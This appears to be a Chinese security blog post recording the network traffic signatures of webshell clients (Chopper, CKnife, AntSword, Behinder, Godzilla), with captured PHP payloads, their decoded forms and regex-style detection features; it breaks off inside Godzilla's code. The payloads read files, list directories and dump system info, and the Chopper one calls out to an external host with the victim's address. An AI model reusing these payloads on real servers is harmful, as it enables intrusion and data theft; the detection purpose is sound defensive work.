xXxYOLOxXx

xXxYOLOxXx

Shell_Pcap

Posted on Edited on In

看到一堆面试题都有涉及到后门客户端的流量特征，这里自己作一些记录

菜刀

菜刀流量默认使用Base64编码
特征非常明显

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pass=@eval%01(base64_decode($_POST[z0]));
z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRj1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JFA9QGZvcGVuKCRGLCJyIik7ZWNobyhAZnJlYWQoJFAsZmlsZXNpemUoJEYpKSk7QGZjbG9zZSgkUCk7aWYoQCRfQ09PS0lFWydmMSddIT05NSl7QHNldGNvb2tpZSgnZjEnLDk1KTtAZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly96eGV4cC5jb20vZS8/Y2FpZGFvPScuJF9TRVJWRVJbSFRUUF9IT1NUXS4kX1NFUlZFUltSRVFVRVNUX1VSSV0uJ19QPScua2V5KCRfUE9TVCkpO307ZWNobygifDwtIik7ZGllKCk7
z1=RTpcXHBocFN0dWR5XFxQSFBUdXRvcmlhbFxcV1dXXFwxLnBocA==

解码之后的内容

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@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$F=base64_decode($_POST["z1"]);$P=@fopen($F,"r");echo(@fread($P,filesize($F)));@fclose($P);if(@$_COOKIE['f1']!=95){@setcookie('f1',95);@file_get_contents('http://zxexp.com/e/?caidao='.$_SERVER[HTTP_HOST].$_SERVER[REQUEST_URI].'_P='.key($_POST));};echo("|<-");die();
E:\\phpStudy\\PHPTutorial\\WWW\\1.php

值得一提的是，@set_magic_quotes_runtime(0); 这条命令在php7中无法运行

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php > set_magic_quotes_runtime(0);
PHP Warning:  Uncaught Error: Call to undefined function set_magic_quotes_runtime() in php shell code:1

这直接导致了菜刀无法在php7的环境下使用

参数特征

  • POST: z0 z1 z2 …

流量特征

  • QGluaV9zZXQoImRpc3BsYXlfZXJyb3Jz…
  • @eval%01(base64_decode($_POST[z0]));

CKnife

CKnife使用Base64编码，同样不适用于php7环境，原因与菜刀相同

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pass=@eval%01(base64_decode($_POST[action]));
action=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRj1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JFA9QGZvcGVuKCRGLCJyIik7ZWNobyhAZnJlYWQoJFAsZmlsZXNpemUoJEYpKSk7QGZjbG9zZSgkUCk7O2VjaG8oInw8LSIpO2RpZSgpOw==
z1=RTpccGhwU3R1ZHlcUEhQVHV0b3JpYWxcV1dXXGluZGV4LnR4dA==

解码之后的内容

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@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$F=base64_decode($_POST["z1"]);$P=@fopen($F,"r");echo(@fread($P,filesize($F)));@fclose($P);;echo("|<-");die();
E:\phpStudy\PHPTutorial\WWW\index.txt

参数特征

  • POST: z0 z1 z2 …

流量特征

  • QGluaV9zZXQoImRpc3BsYXlfZXJyb3Jz…
  • @eval%01(base64_decode($_POST[action]));

蚁剑

default

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pass=@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "7a5cd";echo @asenc($output);echo "7a6ba";}ob_start();try{$D=base64_decode($_POST["0x89edb44048ea7"]);$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D.$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="	".$T."	".@filesize($P)."	".$E."";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();

base64

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pass=@eval(@base64_decode($_POST[_0xc1ac917e3ce47]));
_0xc1ac917e3ce47=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7ZnVuY3Rpb24gYXNlbmMoJG91dCl7cmV0dXJuICRvdXQ7fTtmdW5jdGlvbiBhc291dHB1dCgpeyRvdXRwdXQ9b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7ZWNobyAiNmFlNjEiO2VjaG8gQGFzZW5jKCRvdXRwdXQpO2VjaG8gImU5YTAwIjt9b2Jfc3RhcnQoKTt0cnl7JEQ9ZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pO2lmKCREPT0iIikkRD1kaXJuYW1lKCRfU0VSVkVSWyJQQVRIX1RSQU5TTEFURUQiXSk7JFI9InskRH0JIjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJDIiwiWiIpYXMgJEwpaWYoaXNfZGlyKCJ7JEx9OiIpKSRSLj0ieyRMfToiO31lbHNleyRSLj0iLyI7fSRSLj0iCSI7JHU9KGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0ZWdpZCIpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6IiI7JHM9KCR1KT8kdVsibmFtZSJdOkBnZXRfY3VycmVudF91c2VyKCk7JFIuPXBocF91bmFtZSgpOyRSLj0iCXskc30iO2VjaG8gJFI7O31jYXRjaChFeGNlcHRpb24gJGUpe2VjaG8gIkVSUk9SOi8vIi4kZS0+Z2V0TWVzc2FnZSgpO307YXNvdXRwdXQoKTtkaWUoKTs=

rot13

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pass=@eval(@str_rot13($_POST[_0x5d1c88d4565e5]));
_0x5d1c88d4565e5=@vav_frg("qvfcynl_reebef", "0");@frg_gvzr_yvzvg(0);shapgvba nfrap($bhg){erghea $bhg;};shapgvba nfbhgchg(){$bhgchg=bo_trg_pbagragf();bo_raq_pyrna();rpub "22324";rpub @nfrap($bhgchg);rpub "q0157";}bo_fgneg();gel{$Q=qveanzr($_FREIRE["FPEVCG_SVYRANZR"]);vs($Q=="")$Q=qveanzr($_FREIRE["CNGU_GENAFYNGRQ"]);$E="{$Q}	";vs(fhofge($Q,0,1)!="/"){sbernpu(enatr("P","M")nf $Y)vs(vf_qve("{$Y}:"))$E.="{$Y}:";}ryfr{$E.="/";}$E.="	";$h=(shapgvba_rkvfgf("cbfvk_trgrtvq"))?@cbfvk_trgcjhvq(@cbfvk_trgrhvq()):"";$f=($h)?$h["anzr"]:@trg_pheerag_hfre();$E.=cuc_hanzr();$E.="	{$f}";rpub $E;;}pngpu(Rkprcgvba $r){rpub "REEBE://".$r->trgZrffntr();};nfbhgchg();qvr();

chr

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pass=@eVAl(cHr(64).ChR(105).ChR(110).ChR(105).ChR(95).ChR(115).ChR(101).ChR(116).ChR(40).ChR(34).ChR(100).ChR(105).ChR(115).ChR(112).ChR(108).ChR(97).ChR(121).ChR(95).ChR(101).ChR(114).ChR(114).ChR(111).ChR(114).ChR(115).ChR(34).ChR(44).ChR(32).ChR(34).ChR(48).ChR(34).ChR(41).ChR(59).ChR(64).ChR(115).ChR(101).ChR(116).ChR(95).ChR(116).ChR(105).ChR(109).ChR(101).ChR(95).ChR(108).ChR(105).ChR(109).ChR(105).ChR(116).ChR(40).ChR(48).ChR(41).ChR(59).ChR(102).ChR(117).ChR(110).ChR(99).ChR(116).ChR(105).ChR(111).ChR(110).ChR(32).ChR(97).ChR(115).ChR(101).ChR(110).ChR(99).ChR(40).ChR(36).ChR(111).ChR(117).ChR(116).ChR(41).ChR(123).ChR(114).ChR(101).ChR(116).ChR(117).ChR(114).ChR(110).ChR(32).ChR(36).ChR(111).ChR(117).ChR(116).ChR(59).ChR(125).ChR(59).ChR(102).ChR(117).ChR(110).ChR(99).ChR(116).ChR(105).ChR(111).ChR(110).ChR(32).ChR(97).ChR(115).ChR(111).ChR(117).ChR(116).ChR(112).ChR(117).ChR(116).ChR(40).ChR(41).ChR(123).ChR(36).ChR(111).ChR(117).ChR(116).ChR(112).ChR(117).ChR(116).ChR(61).ChR(111).ChR(98).ChR(95).ChR(103).ChR(101).ChR(116).ChR(95).ChR(99).ChR(111).ChR(110).ChR(116).ChR(101).ChR(110).ChR(116).ChR(115).ChR(40).ChR(41).ChR(59).ChR(111).ChR(98).ChR(95).ChR(101).ChR(110).ChR(100).ChR(95).ChR(99).ChR(108).ChR(101).ChR(97).ChR(110).ChR(40).ChR(41).ChR(59).ChR(101).ChR(99).ChR(104).ChR(111).ChR(32).ChR(34).ChR(57).ChR(98).ChR(100).ChR(57).ChR(101).ChR(34).ChR(59).ChR(101).ChR(99).ChR(104).ChR(111).ChR(32).ChR(64).ChR(97).ChR(115).ChR(101).ChR(110).ChR(99).ChR(40).ChR(36).ChR(111).ChR(117).ChR(116).ChR(112).ChR(117).ChR(116).ChR(41).ChR(59).ChR(101).ChR(99).ChR(104).ChR(111).ChR(32).ChR(34).ChR(56).ChR(102).ChR(52).ChR(54).ChR(56).ChR(34).ChR(59).ChR(125).ChR(111).ChR(98).ChR(95).ChR(115).ChR(116).ChR(97).ChR(114).ChR(116).ChR(40).ChR(41).ChR(59).ChR(116).ChR(114).ChR(121).ChR(123).ChR(36).ChR(68).ChR(61).ChR(100).ChR(105).ChR(114).ChR(110).ChR(97).ChR(109).ChR(101).ChR(40).ChR(36).ChR(95).ChR(83).ChR(69).ChR(82).ChR(86).ChR(69).ChR(82).ChR(91).ChR(34).ChR(83).ChR(67).ChR(82).ChR(73).ChR(80).ChR(84).ChR(95).ChR(70).ChR(73).ChR(76).ChR(69).ChR(78).ChR(65).ChR(77).ChR(69).ChR(34).ChR(93).ChR(41).ChR(59).ChR(105).ChR(102).ChR(40).ChR(36).ChR(68).ChR(61).ChR(61).ChR(34).ChR(34).ChR(41).ChR(36).ChR(68).ChR(61).ChR(100).ChR(105).ChR(114).ChR(110).ChR(97).ChR(109).ChR(101).ChR(40).ChR(36).ChR(95).ChR(83).ChR(69).ChR(82).ChR(86).ChR(69).ChR(82).ChR(91).ChR(34).ChR(80).ChR(65).ChR(84).ChR(72).ChR(95).ChR(84).ChR(82).ChR(65).ChR(78).ChR(83).ChR(76).ChR(65).ChR(84).ChR(69).ChR(68).ChR(34).ChR(93).ChR(41).ChR(59).ChR(36).ChR(82).ChR(61).ChR(34).ChR(123).ChR(36).ChR(68).ChR(125).ChR(9).ChR(34).ChR(59).ChR(105).ChR(102).ChR(40).ChR(115).ChR(117).ChR(98).ChR(115).ChR(116).ChR(114).ChR(40).ChR(36).ChR(68).ChR(44).ChR(48).ChR(44).ChR(49).ChR(41).ChR(33).ChR(61).ChR(34).ChR(47).ChR(34).ChR(41).ChR(123).ChR(102).ChR(111).ChR(114).ChR(101).ChR(97).ChR(99).ChR(104).ChR(40).ChR(114).ChR(97).ChR(110).ChR(103).ChR(101).ChR(40).ChR(34).ChR(67).ChR(34).ChR(44).ChR(34).ChR(90).ChR(34).ChR(41).ChR(97).ChR(115).ChR(32).ChR(36).ChR(76).ChR(41).ChR(105).ChR(102).ChR(40).ChR(105).ChR(115).ChR(95).ChR(100).ChR(105).ChR(114).ChR(40).ChR(34).ChR(123).ChR(36).ChR(76).ChR(125).ChR(58).ChR(34).ChR(41).ChR(41).ChR(36).ChR(82).ChR(46).ChR(61).ChR(34).ChR(123).ChR(36).ChR(76).ChR(125).ChR(58).ChR(34).ChR(59).ChR(125).ChR(101).ChR(108).ChR(115).ChR(101).ChR(123).ChR(36).ChR(82).ChR(46).ChR(61).ChR(34).ChR(47).ChR(34).ChR(59).ChR(125).ChR(36).ChR(82).ChR(46).ChR(61).ChR(34).ChR(9).ChR(34).ChR(59).ChR(36).ChR(117).ChR(61).ChR(40).ChR(102).ChR(117).ChR(110).ChR(99).ChR(116).ChR(105).ChR(111).ChR(110).ChR(95).ChR(101).ChR(120).ChR(105).ChR(115).ChR(116).ChR(115).ChR(40).ChR(34).ChR(112).ChR(111).ChR(115).ChR(105).ChR(120).ChR(95).ChR(103).ChR(101).ChR(116).ChR(101).ChR(103).ChR(105).ChR(100).ChR(34).ChR(41).ChR(41).ChR(63).ChR(64).ChR(112).ChR(111).ChR(115).ChR(105).ChR(120).ChR(95).ChR(103).ChR(101).ChR(116).ChR(112).ChR(119).ChR(117).ChR(105).ChR(100).ChR(40).ChR(64).ChR(112).ChR(111).ChR(115).ChR(105).ChR(120).ChR(95).ChR(103).ChR(101).ChR(116).ChR(101).ChR(117).ChR(105).ChR(100).ChR(40).ChR(41).ChR(41).ChR(58).ChR(34).ChR(34).ChR(59).ChR(36).ChR(115).ChR(61).ChR(40).ChR(36).ChR(117).ChR(41).ChR(63).ChR(36).ChR(117).ChR(91).ChR(34).ChR(110).ChR(97).ChR(109).ChR(101).ChR(34).ChR(93).ChR(58).ChR(64).ChR(103).ChR(101).ChR(116).ChR(95).ChR(99).ChR(117).ChR(114).ChR(114).ChR(101).ChR(110).ChR(116).ChR(95).ChR(117).ChR(115).ChR(101).ChR(114).ChR(40).ChR(41).ChR(59).ChR(36).ChR(82).ChR(46).ChR(61).ChR(112).ChR(104).ChR(112).ChR(95).ChR(117).ChR(110).ChR(97).ChR(109).ChR(101).ChR(40).ChR(41).ChR(59).ChR(36).ChR(82).ChR(46).ChR(61).ChR(34).ChR(9).ChR(123).ChR(36).ChR(115).ChR(125).ChR(34).ChR(59).ChR(101).ChR(99).ChR(104).ChR(111).ChR(32).ChR(36).ChR(82).ChR(59).ChR(59).ChR(125).ChR(99).ChR(97).ChR(116).ChR(99).ChR(104).ChR(40).ChR(69).ChR(120).ChR(99).ChR(101).ChR(112).ChR(116).ChR(105).ChR(111).ChR(110).ChR(32).ChR(36).ChR(101).ChR(41).ChR(123).ChR(101).ChR(99).ChR(104).ChR(111).ChR(32).ChR(34).ChR(69).ChR(82).ChR(82).ChR(79).ChR(82).ChR(58).ChR(47).ChR(47).ChR(34).ChR(46).ChR(36).ChR(101).ChR(45).ChR(62).ChR(103).ChR(101).ChR(116).ChR(77).ChR(101).ChR(115).ChR(115).ChR(97).ChR(103).ChR(101).ChR(40).ChR(41).ChR(59).ChR(125).ChR(59).ChR(97).ChR(115).ChR(111).ChR(117).ChR(116).ChR(112).ChR(117).ChR(116).ChR(40).ChR(41).ChR(59).ChR(100).ChR(105).ChR(101).ChR(40).ChR(41).ChR(59));

chr16

1
pass=@eVAl(cHr(0x40).ChR(0x69).ChR(0x6e).ChR(0x69).ChR(0x5f).ChR(0x73).ChR(0x65).ChR(0x74).ChR(0x28).ChR(0x22).ChR(0x64).ChR(0x69).ChR(0x73).ChR(0x70).ChR(0x6c).ChR(0x61).ChR(0x79).ChR(0x5f).ChR(0x65).ChR(0x72).ChR(0x72).ChR(0x6f).ChR(0x72).ChR(0x73).ChR(0x22).ChR(0x2c).ChR(0x20).ChR(0x22).ChR(0x30).ChR(0x22).ChR(0x29).ChR(0x3b).ChR(0x40).ChR(0x73).ChR(0x65).ChR(0x74).ChR(0x5f).ChR(0x74).ChR(0x69).ChR(0x6d).ChR(0x65).ChR(0x5f).ChR(0x6c).ChR(0x69).ChR(0x6d).ChR(0x69).ChR(0x74).ChR(0x28).ChR(0x30).ChR(0x29).ChR(0x3b).ChR(0x66).ChR(0x75).ChR(0x6e).ChR(0x63).ChR(0x74).ChR(0x69).ChR(0x6f).ChR(0x6e).ChR(0x20).ChR(0x61).ChR(0x73).ChR(0x65).ChR(0x6e).ChR(0x63).ChR(0x28).ChR(0x24).ChR(0x6f).ChR(0x75).ChR(0x74).ChR(0x29).ChR(0x7b).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x75).ChR(0x72).ChR(0x6e).ChR(0x20).ChR(0x24).ChR(0x6f).ChR(0x75).ChR(0x74).ChR(0x3b).ChR(0x7d).ChR(0x3b).ChR(0x66).ChR(0x75).ChR(0x6e).ChR(0x63).ChR(0x74).ChR(0x69).ChR(0x6f).ChR(0x6e).ChR(0x20).ChR(0x61).ChR(0x73).ChR(0x6f).ChR(0x75).ChR(0x74).ChR(0x70).ChR(0x75).ChR(0x74).ChR(0x28).ChR(0x29).ChR(0x7b).ChR(0x24).ChR(0x6f).ChR(0x75).ChR(0x74).ChR(0x70).ChR(0x75).ChR(0x74).ChR(0x3d).ChR(0x6f).ChR(0x62).ChR(0x5f).ChR(0x67).ChR(0x65).ChR(0x74).ChR(0x5f).ChR(0x63).ChR(0x6f).ChR(0x6e).ChR(0x74).ChR(0x65).ChR(0x6e).ChR(0x74).ChR(0x73).ChR(0x28).ChR(0x29).ChR(0x3b).ChR(0x6f).ChR(0x62).ChR(0x5f).ChR(0x65).ChR(0x6e).ChR(0x64).ChR(0x5f).ChR(0x63).ChR(0x6c).ChR(0x65).ChR(0x61).ChR(0x6e).ChR(0x28).ChR(0x29).ChR(0x3b).ChR(0x65).ChR(0x63).ChR(0x68).ChR(0x6f).ChR(0x20).ChR(0x22).ChR(0x39).ChR(0x34).ChR(0x31).ChR(0x39).ChR(0x37).ChR(0x22).ChR(0x3b).ChR(0x65).ChR(0x63).ChR(0x68).ChR(0x6f).ChR(0x20).ChR(0x40).ChR(0x61).ChR(0x73).ChR(0x65).ChR(0x6e).ChR(0x63).ChR(0x28).ChR(0x24).ChR(0x6f).ChR(0x75).ChR(0x74).ChR(0x70).ChR(0x75).ChR(0x74).ChR(0x29).ChR(0x3b).ChR(0x65).ChR(0x63).ChR(0x68).ChR(0x6f).ChR(0x20).ChR(0x22).ChR(0x66).ChR(0x66).ChR(0x33).ChR(0x65).ChR(0x32).ChR(0x22).ChR(0x3b).ChR(0x7d).ChR(0x6f).ChR(0x62).ChR(0x5f).ChR(0x73).ChR(0x74).ChR(0x61).ChR(0x72).ChR(0x74).ChR(0x28).ChR(0x29).ChR(0x3b).ChR(0x74).ChR(0x72).ChR(0x79).ChR(0x7b).ChR(0x24).ChR(0x44).ChR(0x3d).ChR(0x64).ChR(0x69).ChR(0x72).ChR(0x6e).ChR(0x61).ChR(0x6d).ChR(0x65).ChR(0x28).ChR(0x24).ChR(0x5f).ChR(0x53).ChR(0x45).ChR(0x52).ChR(0x56).ChR(0x45).ChR(0x52).ChR(0x5b).ChR(0x22).ChR(0x53).ChR(0x43).ChR(0x52).ChR(0x49).ChR(0x50).ChR(0x54).ChR(0x5f).ChR(0x46).ChR(0x49).ChR(0x4c).ChR(0x45).ChR(0x4e).ChR(0x41).ChR(0x4d).ChR(0x45).ChR(0x22).ChR(0x5d).ChR(0x29).ChR(0x3b).ChR(0x69).ChR(0x66).ChR(0x28).ChR(0x24).ChR(0x44).ChR(0x3d).ChR(0x3d).ChR(0x22).ChR(0x22).ChR(0x29).ChR(0x24).ChR(0x44).ChR(0x3d).ChR(0x64).ChR(0x69).ChR(0x72).ChR(0x6e).ChR(0x61).ChR(0x6d).ChR(0x65).ChR(0x28).ChR(0x24).ChR(0x5f).ChR(0x53).ChR(0x45).ChR(0x52).ChR(0x56).ChR(0x45).ChR(0x52).ChR(0x5b).ChR(0x22).ChR(0x50).ChR(0x41).ChR(0x54).ChR(0x48).ChR(0x5f).ChR(0x54).ChR(0x52).ChR(0x41).ChR(0x4e).ChR(0x53).ChR(0x4c).ChR(0x41).ChR(0x54).ChR(0x45).ChR(0x44).ChR(0x22).ChR(0x5d).ChR(0x29).ChR(0x3b).ChR(0x24).ChR(0x52).ChR(0x3d).ChR(0x22).ChR(0x7b).ChR(0x24).ChR(0x44).ChR(0x7d).ChR(0x9).ChR(0x22).ChR(0x3b).ChR(0x69).ChR(0x66).ChR(0x28).ChR(0x73).ChR(0x75).ChR(0x62).ChR(0x73).ChR(0x74).ChR(0x72).ChR(0x28).ChR(0x24).ChR(0x44).ChR(0x2c).ChR(0x30).ChR(0x2c).ChR(0x31).ChR(0x29).ChR(0x21).ChR(0x3d).ChR(0x22).ChR(0x2f).ChR(0x22).ChR(0x29).ChR(0x7b).ChR(0x66).ChR(0x6f).ChR(0x72).ChR(0x65).ChR(0x61).ChR(0x63).ChR(0x68).ChR(0x28).ChR(0x72).ChR(0x61).ChR(0x6e).ChR(0x67).ChR(0x65).ChR(0x28).ChR(0x22).ChR(0x43).ChR(0x22).ChR(0x2c).ChR(0x22).ChR(0x5a).ChR(0x22).ChR(0x29).ChR(0x61).ChR(0x73).ChR(0x20).ChR(0x24).ChR(0x4c).ChR(0x29).ChR(0x69).ChR(0x66).ChR(0x28).ChR(0x69).ChR(0x73).ChR(0x5f).ChR(0x64).ChR(0x69).ChR(0x72).ChR(0x28).ChR(0x22).ChR(0x7b).ChR(0x24).ChR(0x4c).ChR(0x7d).ChR(0x3a).ChR(0x22).ChR(0x29).ChR(0x29).ChR(0x24).ChR(0x52).ChR(0x2e).ChR(0x3d).ChR(0x22).ChR(0x7b).ChR(0x24).ChR(0x4c).ChR(0x7d).ChR(0x3a).ChR(0x22).ChR(0x3b).ChR(0x7d).ChR(0x65).ChR(0x6c).ChR(0x73).ChR(0x65).ChR(0x7b).ChR(0x24).ChR(0x52).ChR(0x2e).ChR(0x3d).ChR(0x22).ChR(0x2f).ChR(0x22).ChR(0x3b).ChR(0x7d).ChR(0x24).ChR(0x52).ChR(0x2e).ChR(0x3d).ChR(0x22).ChR(0x9).ChR(0x22).ChR(0x3b).ChR(0x24).ChR(0x75).ChR(0x3d).ChR(0x28).ChR(0x66).ChR(0x75).ChR(0x6e).ChR(0x63).ChR(0x74).ChR(0x69).ChR(0x6f).ChR(0x6e).ChR(0x5f).ChR(0x65).ChR(0x78).ChR(0x69).ChR(0x73).ChR(0x74).ChR(0x73).ChR(0x28).ChR(0x22).ChR(0x70).ChR(0x6f).ChR(0x73).ChR(0x69).ChR(0x78).ChR(0x5f).ChR(0x67).ChR(0x65).ChR(0x74).ChR(0x65).ChR(0x67).ChR(0x69).ChR(0x64).ChR(0x22).ChR(0x29).ChR(0x29).ChR(0x3f).ChR(0x40).ChR(0x70).ChR(0x6f).ChR(0x73).ChR(0x69).ChR(0x78).ChR(0x5f).ChR(0x67).ChR(0x65).ChR(0x74).ChR(0x70).ChR(0x77).ChR(0x75).ChR(0x69).ChR(0x64).ChR(0x28).ChR(0x40).ChR(0x70).ChR(0x6f).ChR(0x73).ChR(0x69).ChR(0x78).ChR(0x5f).ChR(0x67).ChR(0x65).ChR(0x74).ChR(0x65).ChR(0x75).ChR(0x69).ChR(0x64).ChR(0x28).ChR(0x29).ChR(0x29).ChR(0x3a).ChR(0x22).ChR(0x22).ChR(0x3b).ChR(0x24).ChR(0x73).ChR(0x3d).ChR(0x28).ChR(0x24).ChR(0x75).ChR(0x29).ChR(0x3f).ChR(0x24).ChR(0x75).ChR(0x5b).ChR(0x22).ChR(0x6e).ChR(0x61).ChR(0x6d).ChR(0x65).ChR(0x22).ChR(0x5d).ChR(0x3a).ChR(0x40).ChR(0x67).ChR(0x65).ChR(0x74).ChR(0x5f).ChR(0x63).ChR(0x75).ChR(0x72).ChR(0x72).ChR(0x65).ChR(0x6e).ChR(0x74).ChR(0x5f).ChR(0x75).ChR(0x73).ChR(0x65).ChR(0x72).ChR(0x28).ChR(0x29).ChR(0x3b).ChR(0x24).ChR(0x52).ChR(0x2e).ChR(0x3d).ChR(0x70).ChR(0x68).ChR(0x70).ChR(0x5f).ChR(0x75).ChR(0x6e).ChR(0x61).ChR(0x6d).ChR(0x65).ChR(0x28).ChR(0x29).ChR(0x3b).ChR(0x24).ChR(0x52).ChR(0x2e).ChR(0x3d).ChR(0x22).ChR(0x9).ChR(0x7b).ChR(0x24).ChR(0x73).ChR(0x7d).ChR(0x22).ChR(0x3b).ChR(0x65).ChR(0x63).ChR(0x68).ChR(0x6f).ChR(0x20).ChR(0x24).ChR(0x52).ChR(0x3b).ChR(0x3b).ChR(0x7d).ChR(0x63).ChR(0x61).ChR(0x74).ChR(0x63).ChR(0x68).ChR(0x28).ChR(0x45).ChR(0x78).ChR(0x63).ChR(0x65).ChR(0x70).ChR(0x74).ChR(0x69).ChR(0x6f).ChR(0x6e).ChR(0x20).ChR(0x24).ChR(0x65).ChR(0x29).ChR(0x7b).ChR(0x65).ChR(0x63).ChR(0x68).ChR(0x6f).ChR(0x20).ChR(0x22).ChR(0x45).ChR(0x52).ChR(0x52).ChR(0x4f).ChR(0x52).ChR(0x3a).ChR(0x2f).ChR(0x2f).ChR(0x22).ChR(0x2e).ChR(0x24).ChR(0x65).ChR(0x2d).ChR(0x3e).ChR(0x67).ChR(0x65).ChR(0x74).ChR(0x4d).ChR(0x65).ChR(0x73).ChR(0x73).ChR(0x61).ChR(0x67).ChR(0x65).ChR(0x28).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x3b).ChR(0x61).ChR(0x73).ChR(0x6f).ChR(0x75).ChR(0x74).ChR(0x70).ChR(0x75).ChR(0x74).ChR(0x28).ChR(0x29).ChR(0x3b).ChR(0x64).ChR(0x69).ChR(0x65).ChR(0x28).ChR(0x29).ChR(0x3b));

参数特征

POST:

  • default & chr & chr16: 0x[0-9a-f]{13}
  • base64 & rot13: _0x[0-9a-f]{13}

流量特征

  • default: @ini_set(“display_errors”,“0”);…
  • base64: QGluaV9zZXQoImRpc3BsYXlfZXJyb3Jz…
  • rot13: @vav_frg(“qvfcynl_reebef”, “0”);…
  • chr: eVAl cHr(\d+) ChR(\d+)(大量)
  • chr16: eVAl cHr(0x[0-9a-f]{2}) ChR(0x[0-9a-f]{2})(大量)

冰蝎

冰蝎支持两种流量加密方式

  • AES-128-CBC
  • XOR

默认给出的冰蝎Shell优先采用AES-128-CBC的加密方式
冰蝎的交互过程如下

  • 客户端通过携带GET参数进行请求
  • 服务端接收到GET参数之后产生16字节密钥（Hex）
  • 客户端获得密钥之后对之后的Payload进行加密

连接流量

AES-128-CBC

随机生成content，将Payload发送至服务端并将运行结果返回给客户端
用于验证服务端是否支持分组加密

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@error_reporting(0);
function main($content)
{
	$result = array();
	$result["status"] = base64_encode("success");
    $result["msg"] = base64_encode($content);
    $key = $_SESSION['k'];
    echo encrypt(json_encode($result),$key);
}

function encrypt($data,$key)
{
	if(!extension_loaded('openssl'))
    	{
    		for($i=0;$i<strlen($data);$i++) {
    			 $data[$i] = $data[$i]^$key[$i+1&15]; 
    			}
			return $data;
    	}
    else
    	{
    		return openssl_encrypt($data, "AES128", $key);
    	}
}$content="9245a461-fd2f-44be-a6f1-721c392f0b75";
main($content);

# {"status":"c3VjY2Vzcw==","msg":"OTI0NWE0NjEtZmQyZi00NGJlLWE2ZjEtNzIxYzM5MmYwYjc1"}
# {"status":"success","msg":"9245a461-fd2f-44be-a6f1-721c392f0b75"}
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error_reporting(0);
function main() {
    ob_start(); phpinfo(); $info = ob_get_contents(); ob_end_clean();
    $driveList ="";
    if (stristr(PHP_OS,"windows")||stristr(PHP_OS,"winnt"))
    {
        for($i=65;$i<=90;$i++)
    	{
    		$drive=chr($i).':/';
    		file_exists($drive) ? $driveList=$driveList.$drive.";":'';
    	}
    }
	else
	{
		$driveList="/";
	}
    $currentPath=getcwd();
    //echo "phpinfo=".$info."\n"."currentPath=".$currentPath."\n"."driveList=".$driveList;
    $osInfo=PHP_OS;
    $result=array("basicInfo"=>base64_encode($info),"driveList"=>base64_encode($driveList),"currentPath"=>base64_encode($currentPath),"osInfo"=>base64_encode($osInfo));
    //echo json_encode($result);
    session_start();
    $key=$_SESSION['k'];
    //echo json_encode($result);
    //echo openssl_encrypt(json_encode($result), "AES128", $key);
    echo encrypt(json_encode($result), $key);
}

function encrypt($data,$key)
{
	if(!extension_loaded('openssl'))
    	{
    		for($i=0;$i<strlen($data);$i++) {
    			 $data[$i] = $data[$i]^$key[$i+1&15]; 
    			}
			return $data;
    	}
    else
    	{
    		return openssl_encrypt($data, "AES128", $key);
    	}
}
main();

# phpinfo等信息

XOR

先发送一个验证性Payload，即AES-128-CBC中的Content验证
此时未通过验证，则客户端使用XOR加密方式

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error_reporting(0);
function main() {
    ob_start(); phpinfo(); $info = ob_get_contents(); ob_end_clean();
    $driveList ="";
    if (stristr(PHP_OS,"windows")||stristr(PHP_OS,"winnt"))
    {
        for($i=65;$i<=90;$i++)
    	{
    		$drive=chr($i).':/';
    		file_exists($drive) ? $driveList=$driveList.$drive.";":'';
    	}
    }
	else
	{
		$driveList="/";
	}
    $currentPath=getcwd();
    //echo "phpinfo=".$info."\n"."currentPath=".$currentPath."\n"."driveList=".$driveList;
    $osInfo=PHP_OS;
    $result=array("basicInfo"=>base64_encode($info),"driveList"=>base64_encode($driveList),"currentPath"=>base64_encode($currentPath),"osInfo"=>base64_encode($osInfo));
    //echo json_encode($result);
    session_start();
    $key=$_SESSION['k'];
    //echo json_encode($result);
    //echo openssl_encrypt(json_encode($result), "AES128", $key);
    echo encrypt(json_encode($result), $key);
}

function encrypt($data,$key)
{
	if(!extension_loaded('openssl'))
    	{
    		for($i=0;$i<strlen($data);$i++) {
    			 $data[$i] = $data[$i]^$key[$i+1&15]; 
    			}
			return $data;
    	}
    else
    	{
    		return openssl_encrypt($data, "AES128", $key);
    	}
}
main();

# phpinfo等信息

参数特征

无参数

流量特征

  • Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
  • 请求中GET参数值为三位数字，且服务器响应为[0-9a-f]{16}（针对连接时的流量）

哥斯拉

连接流量

客户端将函数代码加密后发送给服务端，服务端将函数存储于Session文件之中

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$parameters=array();

function run($pms){
    formatParameter($pms.'&ILikeYou='.base64Encode('metoo'));

    if ($_SESSION["bypass_open_basedir"]==true){
        @bypass_open_basedir();
    }

